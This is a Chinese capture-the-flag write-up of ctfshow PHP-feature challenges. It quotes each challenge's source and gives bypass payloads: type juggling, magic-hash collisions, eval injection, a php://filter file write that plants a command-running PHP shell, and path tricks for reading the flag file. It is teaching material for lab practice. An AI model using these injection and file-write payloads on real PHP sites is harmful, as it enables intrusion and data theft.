旧文新发

php特性

web89

开始php特性系列了,师傅们,冲冲冲!

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

intval

(PHP 4, PHP 5, PHP 7, PHP 8)

intval — 获取变量的整数值

说明

intval(mixed $value, int $base = 10): int

通过使用指定的进制 base 转换(默认是十进制),返回变量 valueint 数值。 intval() 不能用于 object,否则会产生 E_WARNING 错误并返回 1。

参数

  • value

    要转换成 integer 的数量值

  • base

    转化所使用的进制注意:如果 base 是 0,通过检测 value 的格式来决定使用的进制:如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,如果字符串以 “0b” (或 “0B”) 开头,使用 2 进制 (binary);否则,如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。

返回值

成功时返回 value 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上,intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0,虽然取决于字符串最左侧的字符。 使用 整型转换 的共同规则。


因此,可以用非空数组绕过

?num[]=1

image-20240727164710667

web90

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

法一

intval函数返回值官方解释中,提到字符串有可能返回 0,虽然取决于字符串最左侧的字符。 使用整型转换的共同规则

image-20240727170338143

PHP 也有前导数字字符串的概念。 这只是一个字符串,其开头类似于数字字符串,后跟任何字符。

意思是数字+非数字字符的字符串可以通过intval可以转化为纯数字int类型

而且,第一个判断$num==="4476"===为强等于

例子 名称 结果
$a == $b 等于 true,如果类型转换后 $a 等于 $b。
$a === $b 全等 true,如果 $a 等于 $b,并且它们的类型也相同。
$a != $b 不等 true,如果类型转换后 $a 不等于 $b。
$a <> $b 不等 true,如果类型转换后 $a 不等于 $b。
$a !== $b 不全等 true,如果 $a 不等于 $b,或者它们的类型不同。
$a < $b 小于 true,如果 $a 严格小于 $b。
$a > $b 大于 true,如果 $a 严格大于 $b。
$a <= $b 小于等于 true,如果 $a 小于或者等于 $b。
$a >= $b 大于等于 true,如果 $a 大于或者等于 $b。
$a <=> $b 太空船运算符(组合比较符) 当$a小于、等于、大于 $b时 分别返回一个小于、等于、大于0的 int 值。

当两个操作对象都是 数字字符串, 或一个是数字另一个是 数字字符串, 就会自动按照数值进行比较。 此规则也适用于 switch 语句。 当比较时用的是 ===!==, 则不会进行类型转换——因为不仅要对比数值,还要对比类型。

利用以上,通过传入一个4476加字母的字符串即可绕过

?num=4476dad

image-20240727165504188

法二

intval可以将float类型转换成int类型

?num=4476.1

web91

开始php特性系列了,师傅们,冲冲冲!

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

对于正则表达式'/^php$/im''/^php$/i'

/之间元字符^匹配开头,$匹配结尾

/外修饰符:

i (PCRE_CASELESS)

​ 如果设置了这个修饰符,模式中的字母会进行大小写不敏感匹配。

m (PCRE_MULTILINE)

​ 默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰 符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前 或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符 串 中没有 “\n” 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。


于是,需满足任意行开头为php且开头不为php,才echo $flag

构造payload

?cmd=%0aphp

web92

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

此处$num==4476为弱等于判断,php为弱类型语言,即使像web90一样使用前导数字字符串(数字+非数字)绕过遇到若等于会转换相同类型比较,即'4476a'==4476为真。

不过intval函数中base参数被设为0,可以自动进制转换,于是可以将4476转换为八进制(0开头)或十六进制(0x开头或0X开头)

关于intval函数base参数为0的解释web89

?num=010574
或
?num=0x117c

特殊的,对于数字中存在e或E,会被当做科学计数法符号处理,所以还可以

?num=4476e2

web93

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

同上

?num=010574

web94

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos

(PHP 4, PHP 5, PHP 7, PHP 8)

strpos — 查找字符串首次出现的位置

说明

strpos(string $haystack, string $needle, int $offset = 0): int|false

返回 needlehaystack 中首次出现的数字位置。

参数

  • haystack

    在该字符串中进行查找。

  • needle

    要搜索的字符串。Prior to PHP 8.0.0, if needle is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle should either be explicitly cast to string, or an explicit call to chr() should be performed.

  • offset

    如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。

返回值

返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。 同时注意字符串位置是从0开始,而不是从1开始的。

如果没找到 needle,将返回 false


首位不能是0,加个空格完事

?num= 010574

或float绕过

?num=4476.0

web95

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

多过滤了个.,空格绕过

?num= 010574

web96

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

./flag.php绕过,意为当前目录下的flag.php文件

image-20240727205821942

web97

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

数组绕过

将a,b以数组传参,此时变量$a和$b为Array数组,md5函数只能对字符串进行运算,对数组作做运算返回NULL,NULL===NULL,绕过

image-20240727233619422

a[]=1&b[]=2

image-20240727224725595

web98

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

不知道在考什么?反正不像是引用,没有&也是可以打通的

或许是超级全局数组?

众所周知,_POST**,**_GET$_COOKIE等都是存于全局数组中的。

<?php 
var_dump($_GET);

GET传参?a=1&b=2&c[1\]=3](http://localhost/flag.php?a=1&b=2&c[1]=3)

image-20240913165517897

对于此题中,$_GET?$_GET=&$_POST:'flag';若**_GET**数组不为空,将**_POST引用传递给$GET**

简单说一下变量中的&引用吧,当**$a=&b**后,改变a的值就相当于改变$b的值,如同c中取地址,将b地址赋给a地址,a、b指向同一地址,a值自然等于b值

只需保证$_GET不为空,随便传点东西,且POST传参HTTP_FLAG=flag,$_POST变量中数组赋给$_GET变量,此时$_GET数组中存在HTTP_FLAG=>‘flag’highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);三元判断为前值$flag,而$flag为前面include("flag.php");执行后包含flag.php中的flag变量,highlight_file flag变量值报错显示flag

image-20240913164524864

web99

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

类型检查默认为false,说明in_array1=='1.php’

image-20240913180646934

**rand(1,$i)**赌狗函数

既然弱类型检查,往1.php写个马

image-20240913181303364

image-20240913181415548

web100

后面可能停留几天,将条目理顺一些

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

运算符优先级从高到低

结合方向 运算符 附加信息
不适用 clone new clonenew
** 算术运算符
不适用 + - ++ -- ~ (int) (float) (string) (array) (object) (bool) @ 算术 (一元 +-), 递增/递减按位类型转换错误控制
instanceof 类型
不适用 ! 逻辑运算符
* / % 算术运算符
+ - . 算数 (二元 +-), arraystring. PHP 8.0.0 前可用)
<< >> 位运算符
. string (PHP 8.0.0 起可用)
< <= > >= 比较运算符
== != === !== <> <=> 比较运算符
& 位运算符引用
^ 位运算符
| 位运算符
&& 逻辑运算符
|| 逻辑运算符
?? null 合并运算符
无关联 ? : 三元运算符 (PHP 8.0.0 之前左联)
= += -= *= **= /= .= %= &= |= ^= <<= >>= ??= 赋值运算符
不适用 yield from yield from
不适用 yield yield
不适用 print print
and 逻辑运算符
xor 逻辑运算符
or 逻辑运算符

可以发送=运算符优先级大于and运算符

因此,对于$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);中$v0值只与$v1是否为数字有关

这样,我们可以v2传参print_r($ctfshow),这里问题来了,由于v2过滤;,eval内无法闭合了,而;又必须存在v3中,中间的('ctfshow')阻碍我们代码的执行

这里,可以用/**/注释绕过,即v2传参print_r($ctfshow)/*,v3传参*/;,此时便执行eval("print_r($ctfshow)/*('ctfshow')*/;");

image-20240913185513855

web101

修补100题非预期,替换0x2d

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

image-20240920012423839

class ReflectionClass implements Reflector {
/* 常量 */
public const int IS_IMPLICIT_ABSTRACT;
public const int IS_EXPLICIT_ABSTRACT;
public const int IS_FINAL;
public const int IS_READONLY;
/* 属性 */
public string $name;
/* 方法 */
public __construct(object|string $objectOrClass)
public static export(mixed $argument, bool $return = false): string
public getAttributes(?string $name = null, int $flags = 0): array
public getConstant(string $name): mixed
public getConstants(?int $filter = null): array
public getConstructor(): ?ReflectionMethod
public getDefaultProperties(): array
public getDocComment(): string|false
public getEndLine(): int|false
public getExtension(): ?ReflectionExtension
public getExtensionName(): string|false
public getFileName(): string|false
public getInterfaceNames(): array
public getInterfaces(): array
public getMethod(string $name): ReflectionMethod
public getMethods(?int $filter = null): array
public getModifiers(): int
public getName(): string
public getNamespaceName(): string
public getParentClass(): ReflectionClass|false
public getProperties(?int $filter = null): array
public getProperty(string $name): ReflectionProperty
public getReflectionConstant(string $name): ReflectionClassConstant|false
public getReflectionConstants(?int $filter = null): array
public getShortName(): string
public getStartLine(): int|false
public getStaticProperties(): array
public getStaticPropertyValue(string $name, mixed &$def_value = ?): mixed
public getTraitAliases(): array
public getTraitNames(): array
public getTraits(): array
public hasConstant(string $name): bool
public hasMethod(string $name): bool
public hasProperty(string $name): bool
public implementsInterface(ReflectionClass|string $interface): bool
public inNamespace(): bool
public isAbstract(): bool
public isAnonymous(): bool
public isCloneable(): bool
public isEnum(): bool
public isFinal(): bool
public isInstance(object $object): bool
public isInstantiable(): bool
public isInterface(): bool
public isInternal(): bool
public isIterable(): bool
public isReadOnly(): bool
public isSubclassOf(ReflectionClass|string $class): bool
public isTrait(): bool
public isUserDefined(): bool
public newInstance(mixed ...$args): object
public newInstanceArgs(array $args = []): ?object
public newInstanceWithoutConstructor(): object
public setStaticPropertyValue(string $name, mixed $value): void
public __toString(): string
}

是有__toString()用法的

new一个ReflectionClass来反射ctfshow类的属性和方法,再通过echo来触发__toString()方法

?v1=1&v2=echo new ReflectionClass&v3=;

image-20240920012736130

web102

换个姿势

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

熟悉的call_user_funcfile_put_contents

is_numeric是个强检查,一开始想用十六进制hex2bin绕过的,然后伪协议解base64写入奈何0x不算数字,最多也只能00.取出个.

image-20240920020832899

看了wp玩的比较极限,以下是可用字符,能用的不多,但转成base64就多起来了

<?php
for ($i = 32; $i <= 256; $i++) {
    $p=dechex($i);
    if(is_numeric($p)){
        echo chr($i)."  0x$p\n";
    }
}
?>

image-20240920023319504

由于科学计数法可通过is_numeric,因此传入可以带一个e

如下hex2bin先转成字符,后利用php://filter/write=convert.base64-decode/resource=shell.php解base64,最后访问执行<?=`cat *`;

image-20240920023908788

v1=hex2bin
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=cat.php

还有一个更极限的shell

?v2=115044383949474167494352665230565557324664594473&v3=php://filter/write=convert.base64-decode/resource=1.php

image-20240920025102073

web103

换个姿势

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

同上

image-20240920222221008

web104

换个姿势

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}



?>

过于简单

image-20240920224120797

v1、v2传参相同即可

?v2=1
v1=1

image-20240920223736266

web105

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

image-20240920224532637

foreach($_GET as $key => $value)指遍历$_GET数组中每一对键值对分别赋给循环内$key和$value

(`$xx`)将变量xx值作为变量名

因此,两个foreach具有变量间传递的作用的作用,不过不可以赋新值

image-20240920231218677

我们的目标是绕过!$_POST['flag']==$flag,可flag未知,怎么POST?

不妨改变思路,改变后面$flag变量,但问题来了,$flag改变后,我们想要的flag值就被覆盖掉了。干脆将flag赋给error,die出flag

利用中间变量(这里是1)绕过GET和POST过滤

image-20240921003043051

web106

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}



?>

似曾相识,总感觉哪里写过的,几种方法

法一

数组绕过,对于数组中不存在的键,或对应值为空字符串,或null,sha1运算相同,其实都是null

image-20240921012641110

image-20240921004843065

法二

aaroZmOksha1运算完0e66507019969427134894567494305185566735

aaK1STfYsha1运算完0e76658526655756207688271159624026011393

e为科学计数法,0e开头及为零

image-20240921014721050

image-20240921013351225

web107

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}



?>

image-20240921015136950

官方示例

由于 PHP 的变量名不能带「点」和「空格」,所以它们会被转化成下划线。 用本函数带 result 参数,也会应用同样规则到数组的键名。

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

// 推荐用法
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

// 不建议这么用
parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

和上题差不多,数组null绕过

image-20240921015722792

web108

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

0x36d十进制为877

image-20240921021108447

image-20240921021929082

^[a-zA-Z]+$正则,我们只能传入字母,不过好在ereg具有字符串%00截断漏洞,即string参数中若有%00即截断,可以在%00后拼接任意字符

image-20240921021158927

image-20240921021151711

?c=a%00778

image-20240921022515013

web109

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

前面讲过,利用异常类Exception、Error、ErrorException

image-20240921023251276

web110

我报警了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

过滤了括号

FilesystemIterator:这是一个用于遍历文件系统的迭代器类。它继承了 DirectoryIterator,提供更细粒度的控制,例如可以跳过 ... 目录。它会遍历指定目录中的文件和文件夹。

getcwd() 函数返回的是当前工作目录的绝对路径

因此

image-20240921031406913

image-20240921031429134

web111

变量覆盖

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    

    


}

?>

函数内部是无法直接访问外部变量的,v1=ctfshow&v2=flag只会返回null,在函数内部flag是未被定义的

正常函数内访问外部变量需要传参或用$GLOBALS超级全局数组,普通传参仅改变函数内部形参的值,引用传参可改变全局的值

image-20240924183548948

所幸题目给的var_dump,我们可以将$GLOBALS这个全局数组打印出来

?v1=ctfshow&v2=flag

image-20240924184314331

web112

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

image-20240924184959669

is_file通过文件名检测文件,若假,则高亮文件内容。

相当于过滤了文件名,不过可以通过封装协议来绕过,在ctfshow-web之文件包含|n0o0b’s home遇到过

?file=php://filter/resource=flag.php

image-20240924193002195

web113

函数绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

image-20240924200554036

image-20240924200430972

预期解

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

文件名长度溢出,使得绕过is_file

/proc/self/root链接到当前程序的根目录

web114

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

同上

web115

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

image-20240924204921338

is_numeric检测是数字,强比较不等于36,经过trim后强比较不等于36,filter后若等于36

is_numeric绕过一般有e、空格、%09、%20、%0c,前面基本都绕不过后面,但换页符%0c可以,成功绕过trim

?num=%0c36

image-20240924211855813

web123

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

本地测试发现传参CTF_SHOW.COM.会被解析为_

image-20240926014109667

这涉及php非法传参问题,传参名含+.[等都会被转换成_,好在php版本小于8中,传参名若含[,后面非法字符将不进行转换

image-20240926015348299

image-20240926015911347

更具体可以看Delete师傅PHP中非法参数名问题分析 - Delete’s blog

fun=echo $flag&CTF_SHOW=&CTF[SHOW.COM=

image-20240926024614961

web125

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
